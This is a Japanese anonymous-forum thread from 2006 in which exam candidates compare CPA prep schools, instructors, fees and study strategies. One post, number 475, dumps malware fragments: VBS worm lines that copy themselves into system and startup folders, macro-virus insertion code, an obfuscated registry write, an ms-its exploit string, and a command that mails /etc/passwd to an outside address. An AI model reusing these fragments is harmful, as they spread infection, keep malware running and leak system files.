という、バイアスがかかり、合格者数が減ったと解釈している私は、今年も簿
記や財務諸表論、監査論、といった旧商法の影響のままの科目合格者は抑える
バイアスがかかると予想している。ということは、一括合格者も減るというこ
とを意味しており、論文受験者の階層は、一科目も科目合格しない厳しい状況
が待ち構えていることが想像出来る。はたして、俺も監査と租税は受かってい
るのか…？
444:一般に公正妥当と認められた名無しさん
06/09/23 22:02:33
工作員乙ｗ
445:一般に公正妥当と認められた名無しさん
06/09/23 23:09:57
>05は、旧商法から会社法に変
>わる最後の年だった為、旧知識を多く持つ合格者を大量に出しても意味がない
>という、バイアスがかかり、合格者数が減ったと解釈している私は
いや、合格率が変わらないまま、受験者数が減ったからだろ。
446:一般に公正妥当と認められた名無しさん
06/09/30 12:04:35
クレってまだつぶれてないんだ
447:一般に公正妥当と認められた名無しさん
06/09/30 16:45:17
446ってまだ合格してないんだ
448:一般に公正妥当と認められた名無しさん
06/09/30 17:01:22
阻止
449:一般に公正妥当と認められた名無しさん
06/09/30 17:47:16
がんばれハゲ
450:一般に公正妥当と認められた名無しさん
06/10/03 11:56:17
クレアールいたけど、メリットは安いことだけ。
今年短答合格したけど、科目合格ならクレアール以外に転校するよ。
451:一般に公正妥当と認められた名無しさん
06/10/03 17:44:37
何科目受けたの？
452:一般に公正妥当と認められた名無しさん
06/10/03 23:34:03
工作員乙ｗ
453:一般に公正妥当と認められた名無しさん
06/10/05 11:12:44
スタッフ乙w
454:一般に公正妥当と認められた名無しさん
06/10/07 13:06:08 ncIIJb3a
クレアールの寮の家賃知ってる人いる？
455:一般に公正妥当と認められた名無しさん
06/10/07 16:40:51
>>454
去年まで58,000円/月で、
確か値上げしたはずだから
65000円くらいじゃない？
電気＋電話代はもちろん別でね。
456:一般に公正妥当と認められた名無しさん
06/10/08 01:27:55
そういえば、最近N村先生の話題全然ないね？
みんな、見切りをつけて管理会計は他所に切り替えたのかなあ？
457:一般に公正妥当と認められた名無しさん
06/10/08 02:13:01 5w7BZeSm
ほとんどは、LECかアクセルに乗り換えている。
まだ切り替えていないのが何人かいるが、残っているのはうじうじ悩んでいる
決断力のない受験生だけ。（もしくは、Ｎ村と心中する覚悟を決めた受験生）
458:一般に公正妥当と認められた名無しさん
06/10/08 10:44:49
クレの管理会計てN村先生だけなの？
東京だけってことじゃなくて関西も統一ってこと？
459:一般に公正妥当と認められた名無しさん
06/10/08 11:15:41
関西は確かキムラだよ
460:一般に公正妥当と認められた名無しさん
06/10/08 11:23:34 uE7/jSu1
ここで評判悪いのは関東の先生ばかりだよな
関西は良いのかな？
金払ってテキスト棒読みの授業は嫌だな
461:一般に公正妥当と認められた名無しさん
06/10/08 12:20:08
黙れ工作員どもｗ
462:一般に公正妥当と認められた名無しさん
06/10/08 12:54:02 RBPatQ5L
お約束か
黙れスタッフ
…だりぃ
463:一般に公正妥当と認められた名無しさん
06/10/08 23:50:08 uE7/jSu1
クレにするか大原にするか迷う
大原は少なくとも教える努力はしてると思う
464:一般に公正妥当と認められた名無しさん
06/10/09 00:17:43 7YgjtKi8
>>463
Ｎ村だって、教える努力はしてるよ！！
465:一般に公正妥当と認められた名無しさん
06/10/09 00:28:01
>>463
クレよか大原のほうがいいだろうけど
クレとって浮いた金で他の学校の講義取るってのも美味しいよなー
自習室とかもあるしね
466:一般に公正妥当と認められた名無しさん
06/10/09 00:47:34
>>463
マジレスすると、大原よりはクレアール。さらに、クレアールを取るくらいなら、アクセルが１００倍は良い。
467:一般に公正妥当と認められた名無しさん
06/10/09 00:50:22
無難なら、大原
勝負がかりなら、クレアール
ある程度完成してて仕上げるなら、アクセル
まったく違う毛色の学校なので、特徴を見極めて。
決めたら、脇目もふらずにやりましょう。
468:一般に公正妥当と認められた名無しさん
06/10/09 02:16:42
クレの管理の先生が薄いんなら
他校の単価を取ればいいじゃんって思うんだけど。
469:一般に公正妥当と認められた名無しさん
06/10/09 02:29:35
もーはらは無駄なことをしすぎて、合格するのに時間がかかるよ。
多いといわれているアクセルのほうが実は効率が良い。
クレはもーはらよりはまし。ＴＡＣはもーはらよりもっと悲惨。
470:一般に公正妥当と認められた名無しさん
06/10/09 02:39:35
>>469
お前さ、「もーはら」ってやめた方がいいよ。
特定するのすげえ簡単
471:469
06/10/09 04:17:54 7YgjtKi8
>>470
ぜひぜひ、特定してください。
472:一般に公正妥当と認められた名無しさん
06/10/09 08:20:55 2lJ4jsSr
>>469
もーはらwwwwwwワロスwww
473:一般に公正妥当と認められた名無しさん
06/10/09 08:28:05
469は石井
474:一般に公正妥当と認められた名無しさん
06/10/09 10:01:33 x/d4EeG+
大原はそんなに悪いか？
確かに簿記受けた時、とにかく勉強量の体育会系なノリは感じたが。
クレにするなら体験授業受けたほうがいいな。
475:一般に公正妥当と認められた名無しさん
06/10/09 11:09:04
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
476:一般に公正妥当と認められた名無しさん
06/10/09 13:44:13
クレとっても本試験ではなにも通用しないぞ。
他校とわたりあってるのは監査くらい。
その監査も他校と五分なくらいで、差をつけれるわけではない。
つまり、クレのメリットは安いのと自習室がおおいことだけ
477:一般に公正妥当と認められた名無しさん
06/10/09 13:55:57
>>475
誰だよ、ウイルスばらまいてるの？
478:一般に公正妥当と認められた名無しさん
06/10/09 17:54:12
>>476
それはそれで言いすぎだな
君はアンチクレというより、どこかの信者になってしまっているようだ
どこの学校でも信者は落ちるよ
479:一般に公正妥当と認められた名無しさん
06/10/09 23:40:06 XkUn/9PS
クレの育英選考試験の科目は何でしょうか？短答16問となっていますが5科目ですか？
480:一般に公正妥当と認められた名無しさん
06/10/10 00:05:10
>>476
工作員乙ｗ
481:一般に公正妥当と認められた名無しさん
06/10/10 00:08:22
スタッフ乙レス阻止
482:一般に公正妥当と認められた名無しさん
06/10/10 01:27:39
>>481
でかした
ぬるぽな流れを断ち切るんだ！
483:一般に公正妥当と認められた名無しさん
06/10/10 01:30:49
工作員乙とかスタッフ乙しか言えないやつはそれが面白いと思ってやってんのかな
見苦しいだけなのに･･･
484:一般に公正妥当と認められた名無しさん
06/10/10 10:02:16 Eel1oX5O
どこ行っても受かる奴は受かるでしょ。
ただテキスト棒読みが本当なら即効辞めさせて欲しい
485:一般に公正妥当と認められた名無しさん
06/10/11 01:30:52
★★【CIA】公認内部監査人【国際資格】★★
ｽﾚﾘﾝｸ(exam板)l50
851 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/07(土) 12:01:13 ID:8wtZTJ5D
クレアール堀江教授、ＣＩＡを語る。
公認資格っていうのが最近ありまして、怪しげなCIAっていう、名称CIA
なんていうと、あれはいないんだけど。CIA、公認内部監査人と言うん
ですよ。どこぞの予備校でも、あのね、これは１回目の試験は英語で
してね、それで、この１回目にね試験委員っていうとおおげさですけど、
翻訳委員になってくれって言われてね、英語の問題を日本語に直して
受けられるようにしたんだけど、日本にないものがあるんだよね、コント
ローラーとかね、あれが、もー、どーやりゃーいいかとね、日本にない
組織とかね、日本にない職責とかね、あれ、法律なんかもそのまま使
えないでしょ。ですからね、あーの、もうややっこしいからね、１回で辞
めたけどね。冗談じゃないやってらんないよね。
あーの、公認内部監査人と言うんですけども、なんか予備校でやって
るよ。資格、最近、なんか流行ってるらしいわ。はい。会計士取ったらど
うですか？あのー、はい。余興で。はい。一週間ばっかりやりゃ受かん
じゃない？
486:一般に公正妥当と認められた名無しさん
06/10/11 01:31:23 31EXdBvy
852 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/08(日) 01:22:04 ID:tfqffeo4
>>851
そういうおまいが会計士でもとったら？
あんなもん１０日もありゃ取れんだろ？
853 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/08(日) 16:56:17 ID:FTO25OH5
>>851
CIA自体は（米国では）まっとうな資格ですよ。
最大の問題点は、「日本語に翻訳して日本語で受けられるようにした点」でしょ。
確かに、米国と日本の実務双方にある程度精通していて、ある程度の英語力が
がないと、まともな翻訳なんてできないわけだし。
(ちなみに、コントローラーとか日本でも普通にいるし。別に特殊な役職でもないけど。
（その方、コントローラーがどういう仕事をしているのか、そもそもご存じないのかな？)
もっとも、実務知識も英語力もある人自体は少ないですから、翻訳委員を探すのも大変でしょうね。
それに、試験問題の翻訳なんて極めて割の合わない仕事なんか真っ先に断りますから。
だって、（折角）日本語に訳してあげて少しでも翻訳に不適切な箇所があると、
「翻訳が酷くて問題の意味が分からない（から落ちた。）」なんてクレームが
来るわけですから。
教訓：米国の試験なのだから、受けるんだったら英語で受けましょう。
487:一般に公正妥当と認められた名無しさん
06/10/11 01:31:58 31EXdBvy
856 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/10(火) 08:55:05 ID:uLdirWrE
理論的にはUSCPAのほうがJCPAを超えている。いつの時代もそうだ。
アメリカ人はパイオニア精神が旺盛な国民性も関係している。
世の中の変化に素早く対応する。デリバテイブ会計なんか見ると
ほんとにそう思う。時価会計では日本はもう計算が追い付けない
ほどの差が出来てしまっている。計算書類の書式でもそうだ、
日本じゃまだ包括利益計算書や株主持分計算書さえ出来ていない。
だから、一歩先を見たい者にとってはUSCPAのほうが役に立つ。
こんなところで会計学を論じてもしょうがないが、CIAの受験生の
数は半端じゃない。年2回の試験に大量の日本人が押し寄せている。
この種の資格が日本には無いからだ。だからUSCPAでも
日本で受験できたら大量の受験者が押し寄せるだろう。
488:一般に公正妥当と認められた名無しさん
06/10/11 10:34:21
石井語録「言うとおりにやれば合格するんだから、言うとおりにやらない方が悪い」
489:一般に公正妥当と認められた名無しさん
06/10/11 11:56:44
石井が言うとむかつくセリフだが
会計士試験以外の分野では、俺も同じことを後輩に対して感じているという矛盾
490:一般に公正妥当と認められた名無しさん
06/10/11 22:23:40
言うとおりにして短答落ちしたブロガーいたよね
491:一般に公正妥当と認められた名無しさん
06/10/12 20:31:24
きｔっちょむ
きちお
きちおは非常識合格法の被害者になったというが
あいつは外様でもあり
そもそもベテであり
ベテは落ちるからベテであり
ベテが落ちるのは自然の法則であり
せめて生え抜き信者を持ってしないと
石井の反証とは
492:一般に公正妥当と認められた名無しさん
06/10/12 21:27:55
URLﾘﾝｸ(kitio12.blog14.fc2.com)
泣いた 大きい赤字にまでしたのに
493:一般に公正妥当と認められた名無しさん
06/10/12 23:25:11
だからここは天才型暗記マシーンしか合格できない
暗記偏重型の学習システムなんだよ。何回も言わせんな
マーチ以下と、それ以上でも既卒の錆びたドタマの人は
大手の自然に頭に入るカリキュラムに従えって
494:一般に公正妥当と認められた名無しさん
06/10/13 01:29:42 enChqiFn
資格試験の合格者数を不当表示 公取委が警告
公正取引委員会は１２日、資格試験対策講座を運営する大手のＴＡＣ（東京）
と大原学園（同）、早稲田セミナー（同）に対し、受講者募集のパンフレット
に短期間しか受講していない合格者まで加え、合格実績として記載したのは景
品表示法違反（優良誤認）に当たる恐れがあると警告した。公取委によると、
ＴＡＣと大原学園はそれぞれ平成１７年から今年にかけ、１７年度の会員の
税理士試験合格者数に、実際には数日間の短期講座しか受講していない百数
十人を加え、対策講座の受講者を募集するパンフレットに「合格者中、ＴＡ
Ｃの会員は７６５名」「大原合格者８０５名」などと記載した。
ＴＡＣは公認会計士試験対策講座の広告でも同様に表示。早稲田セミナーも
公務員試験向け講座で、短期受講者らを合格者に加え表示した。
資格試験対策ビジネスの平成１７年度の市場規模は約３０００億円で、３社
は上位を占めている。３社は「警告を厳粛に受け止め、適正な表示に努めた
い」などとしている
495:一般に公正妥当と認められた名無しさん
06/10/13 01:41:10
クレは要領のいい
賢い人には最高だろうな
応用のきかない馬鹿には最悪
496:一般に公正妥当と認められた名無しさん
06/10/13 01:47:12 6weG3MNF
ＴＡＣが設置申請取り下げ 会計の専門職大学院
資格試験予備校のＴＡＣ（東京）は５日、
来春開校を目指していた会計の専門職大学院「ＴＡＣ大学院大」について、
文部科学省への設置申請を取り下げた。
専門職大学院の設置基準に違反した内容のパンフレットを配り、
文科省から厳重注意を受けたのが理由。
文科省によると、ＴＡＣがパンフレットに掲載した履修モデルケースでは、
１年間に履修可能な科目の合計が４６単位となり、
ＴＡＣが大学院設置申請の書類に記載した年間３０単位を超えていた。
文部科学省は「資格試験の準備に偏った詰め込み教育を意図している」として厳重注意していた。
（共同通信） - 10月5日23時23分更新
497:一般に公正妥当と認められた名無しさん
06/10/13 01:48:59
高島易断は「高島易断」著者 高島嘉衛門と一切無関係 （平成17年７月号）
(p)URLﾘﾝｸ(www.keiten.net)
当たるも八卦 当たらぬも八卦 高島易断の未来を占う 第２回 （平成17年８月号）
(p)URLﾘﾝｸ(www.keiten.net)
当たるも八卦 当たらぬも八卦 高島易断の未来を占う 第３回 （平成17年９月号）
(p)URLﾘﾝｸ(www.keiten.net)
498:一般に公正妥当と認められた名無しさん
06/10/13 16:22:07
2006.05.19 Friday
５月７日の早朝にクレの短答公開模試を申し込んだ。
クレアールのＨＰの
2.教材の一部と受講料納入案内を発送
お届けはお申し込みから1週間以内となります。
この言葉を信じて。
すぐに通信講座申し込み内容確認のメールが届いたんで、
申し込みは出来てるかと思うのだが。。。
あれから、１２日経過。
届かない。
もう届くことはないんだろう。。。
困ったもんだ。
499:一般に公正妥当と認められた名無しさん
06/10/14 13:58:53
なんで電話なりメールなりでクレームしないのかが疑問
500:一般に公正妥当と認められた名無しさん
06/10/15 00:23:56
おつむが足りないだけだろ
501:一般に公正妥当と認められた名無しさん
06/10/15 14:50:23 oBlMYJ6p
N村よ、予定から講義がすでに1.5ヶ月遅れているぞ。
お前の講義が何の役にも立たないのはもう仕方がない。
講師としての才能がないことはよくわかった。
講義は今すぐ取りやめて、テキストと問題集作りに専念しろ。
このままだと、クレ専念で合格する人間が本当にゼロになるぞ。
502:一般に公正妥当と認められた名無しさん
06/10/15 15:07:25
>>501
んー、でも、最近はＮ村もがんばっているよ。
ちょっとはましになってきたかな。
講義のふしぶしで、かなり落ち込んでいるのが最近わかる。
503:一般に公正妥当と認められた名無しさん
06/10/15 15:14:33
同情してやれる余裕があるのか？
Ｎ村の負債を背負い込むのは受験生なんだぞ
504:一般に公正妥当と認められた名無しさん
06/10/15 18:28:13
安いんだから文句言うなバカｗ
505:一般に公正妥当と認められた名無しさん
06/10/15 19:17:30
んで、実際のトコ安いの？
506:一般に公正妥当と認められた名無しさん
06/10/15 19:18:51
安いよ
高学歴なら尚安い
507:一般に公正妥当と認められた名無しさん
06/10/15 20:03:06 oBlMYJ6p
割引なしなら、アクセルのほうが安くなってしまった。
508:一般に公正妥当と認められた名無しさん
06/10/17 17:10:27 zUShWKKz
ｸﾚの管理の講義はダメでも答練はとる価値ありますか？
509:一般に公正妥当と認められた名無しさん
06/10/17 23:24:50
>>508
各自でやる分には良いんじゃない？
ステップあたりとあまり遜色ないみたいだし。
510:一般に公正妥当と認められた名無しさん
06/10/17 23:39:11
アクセスが最強
511:一般に公正妥当と認められた名無しさん
06/10/18 00:04:04 pfV40l1f
ステップ以下だな
一級より簡単だぞ
やる意味なし
アクセスとっとけ
512:一般に公正妥当と認められた名無しさん
06/10/18 01:03:53
工作員乙ｗ
513:一般に公正妥当と認められた名無しさん
06/10/18 01:08:00
クレの管理に何かを期待する方が悪いだろ･･･
おとなしくTACかLECの管理とっとけって
514:一般に公正妥当と認められた名無しさん
06/10/18 01:18:40 nC+sDu9h
Ｎ村は少しずつ、講義が良くなってきている。
しかし、所詮安井の劣化コピー（安井自身も３流講師と呼ばれていた）
あまりこれ以上の進化は期待できない。
答練はまだベーシック期だから、なんとも言えない。
でもさすがに、簿記１級よりは難しい。
ただ、出題傾向を見るかぎり、公認会計士の試験とは、ずれているような気がする。
515:一般に公正妥当と認められた名無しさん
06/10/18 01:21:23
クレアール最高！
この学校は使い方次第で評価が分かれる
とりあえず初学者はどこ行っても大差ないから安いとこにしとけ
自分の得意科目、不得意科目が見えてきたら弱いとこを他の学校の単科で補えばいい
516:一般に公正妥当と認められた名無しさん
06/10/18 02:27:03 pfV40l1f
一級のほうがむずい
過去問やれ
517:一般に公正妥当と認められた名無しさん
06/10/18 12:22:15 41IL7Klp
どこも良し悪しがあるからまずは安いところでやるといい。辞めた時は損が少ないからね。
518:一般に公正妥当と認められた名無しさん
06/10/18 12:26:29
阻止
519:一般に公正妥当と認められた名無しさん
06/10/18 13:54:00
ルパン３世好きの俺は、堀江監査の相性がいい。
520:一般に公正妥当と認められた名無しさん
06/10/18 18:40:47 LqSXd+/N
初学者や時間の無い人にはいいと思うけど。短答合格レベルなら充分じゃない。
基礎期をクレで、次の年ＴＡＣ上級あたりが効率的ではないか。費用も安いし。
521:一般に公正妥当と認められた名無しさん
06/10/18 20:41:25
それなら最初からタックで2年コース辺りに在籍した方が良くない？
522:一般に公正妥当と認められた名無しさん
06/10/18 20:43:53
それを言っちゃあおしめえよ。
523:一般に公正妥当と認められた名無しさん
06/10/18 20:51:50 LqSXd+/N
いや複数の予備校を上手く活用する方が効率的かつ効果的
ひょっとするとクレのみでも論文合格可能かも。
ＴＡＣ２年コースなんて無駄が多すぎるだろ。
１年本科をただ長くしただけだし
524:一般に公正妥当と認められた名無しさん
06/10/18 20:59:55
1校だけを信じてやった方が効率的だと思うが･･･
525:一般に公正妥当と認められた名無しさん
06/10/18 22:47:05
TACの二年コースなんて行ったら
どんだけ搾り取られるかわかったもんじゃないよ
管理会計なんかはオークションで手に入る教材で充分なんだし
526:一般に公正妥当と認められた名無しさん
06/10/18 22:49:14 LqSXd+/N
ＴＡＣは講義いらんよな。テキストと答練は良いが
527:一般に公正妥当と認められた名無しさん
06/10/19 04:30:34
無料聴講とかできるんだし、実際に講義を聞いてみて、専念する予備校を決めればいいと思うよ。
で、大事なのは、看板講師じゃない講師の講義を見せてもらうことだと思う。
できれば、一番やばそうな科目。
中小だと大手と違って振替が効かない（講師が１人しかいない）ので、合わない講師だと即あぼーんになる可能性大。
ズルズルやるのは精神衛生上よくないし、単科で他校を取ると結果として高くつくんじゃないかな。
安くて、自分のスタイルに合うのなら、言うことなしで、
あとは、ただただ勉強すればいいってだけ。
528:一般に公正妥当と認められた名無しさん
06/10/19 21:54:26 igwa6eXx
段々良スレになる傾向になりつつある
529:一般に公正妥当と認められた名無しさん
06/10/19 22:05:32 LeTWrFU7
でも、Ｎ村の話がはじまると・・・
530:一般に公正妥当と認められた名無しさん
06/10/20 21:34:26 dIO/hfcF
馬場ってどうなの？
531:一般に公正妥当と認められた名無しさん
06/10/20 21:48:55
最高だよ＞＜
532:一般に公正妥当と認められた名無しさん
06/10/20 23:18:34 9fSJ4HM9
馬場は基本的にはいい講師。
わかりやすいし。負担は小さい。
だが、2005年にありえないくらいに外してしまった。
ヤマあてをしに行き過ぎた。
2007年は、神になることを目指しているようだ。
独自に情報を集めているようである。
マジな話。
クレで致命的にやばい講師は統計学H佐と管理会計N村だけ。
簿記のM山も大概やばいが、管理会計N村はH佐とは違うやばさを独自に作りだしている。
533:一般に公正妥当と認められた名無しさん
06/10/20 23:22:49
馬場はビミョーだろ
534:一般に公正妥当と認められた名無しさん
06/10/20 23:27:53
よろしいでしょうか♪
↑ｳｻﾞｲ
535:一般に公正妥当と認められた名無しさん
06/10/20 23:39:12
>>533
馬場が微妙とは、あなたはヴェテなのですね？
536:一般に公正妥当と認められた名無しさん
06/10/21 00:39:06
てか馬●ってやばいぞ。
537:一般に公正妥当と認められた名無しさん
06/10/21 00:44:27
やばい理由kwsk
538:一般に公正妥当と認められた名無しさん
06/10/21 01:20:48 dsmT7WiU
やばい理由は
>>532に書いてあるとおりだよ。
まあ、きもいヴェテが足をひっぱっているだけだから、気にするな。
今年の試験を見てもわかるように、経営学は傾向が変わった。
試験委員対策はもう必要ない。
馬場も外しようがないからな。
539:一般に公正妥当と認められた名無しさん
06/10/21 09:17:01 i29Atoqi
あたるあたらない以前に内容的にも○場はやばい。
そもそも財務論わかってないな、って感じがありありとわかる時がある。
540:一般に公正妥当と認められた名無しさん
06/10/21 09:54:51
>>539はどの講師に教わっても理解できないベテ
541:sage
06/10/21 10:44:51 Vjtp17EB
思うに、
神様＞＞＞＞竹Ｍ＞＞ヒロシ＞ＢＢ＞カリスマ＞Ｍ山＞組長＞＞＞＞＞＞Ｎ村。
租税は微妙。
542:一般に公正妥当と認められた名無しさん
06/10/21 10:47:18
>>541
ミスった
543:一般に公正妥当と認められた名無しさん
06/10/21 11:58:51
>>539
同意。言葉おかしいしね。ちなみに俺はタックにしたぞ。
544:一般に公正妥当と認められた名無しさん
06/10/21 12:34:16
まぁ落ち続けるベテってのは、試験には関係のない細かいとこを
突っ込んで自己満足してる連中のことだからなｗ
そのまま２０年くらい続けて学者にでもなってください
あ、>>539>>543のことですよ^v^
545:一般に公正妥当と認められた名無しさん
06/10/21 12:54:13
監査＞＞財表＞＞企業＞＞＞＞＞租税＞経営＝簿記＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞管理＞＞＞∞＞＞＞比佐
カリスマ石井は2004年に外したことから評価が落ちた。もともとはアクセルエイジよりも評価が高かった。
今でも財表の理解の程度はクレ石井が上。
石井がこんなにたたかれているのは、性格と、いまだに受からないヴェテの工作によるものだ。
クレ石井は会計士受験会で１、２を争う講師であることは間違いない。
546:543
06/10/21 16:44:43
あ、俺今年一発で短答合格してるんでその辺よろしく^v^
547:一般に公正妥当と認められた名無しさん
06/10/21 18:16:50
>>546
その発言が前言を無意味にしちゃってるのわかりますか?^v^
548:一般に公正妥当と認められた名無しさん
06/10/21 19:47:20
＞あ、俺今年一発で短答合格してるんでその辺よろしく^v^
程度の低さが露呈してるね^v^
549:一般に公正妥当と認められた名無しさん
06/10/21 21:00:50 iaaJmi3F
お～い、ＩＣＯ生の皆さんへの質問。教祖（井○川氏）に貢物をして、仲良くならないと、質問に答えてくれないのですか？
やっぱり変な信仰宗教だよな。あと笑ってしまうのが、日曜の朝とか貴校の前に集まってるでしょ？あの連中ってＩＣＯ生だよね？
なんで建物に入らないの？
550:一般に公正妥当と認められた名無しさん
06/10/21 21:04:30 dsmT7WiU
ＩＣＯじゃないでつよ
551:一般に公正妥当と認められた名無しさん
06/10/21 21:16:13
よりにもよってクレとICOを間違えるとはなｗｗ
クレ信者は金にケチなだけで盲信とは無縁なんだよ
552:一般に公正妥当と認められた名無しさん
06/10/22 01:03:05 kH7dX6Fc
クレアールって、1級と公認会計士講座で、内容が重なりまくりで、
非効率のような気がする。
たとえば管理会計だけど、一緒にしちゃえばいいじゃん。
TACみたいにさぁ。
あと、管理会計のテキストは、できるだけ薄くするために、
かえって分かりにくくなってる気がする。
553:一般に公正妥当と認められた名無しさん
06/10/22 01:40:19
非常識合格法の本でもガイダンスでも、「会計士試験では傾斜配点が行われている」というコメントがあったけど、
結局それって根拠は何なの？
「簿記１級の試験でそれが行われていたと推測されるので、国家試験である会計士試験でもそれが行われているだろう」なんて、憶測でしかない。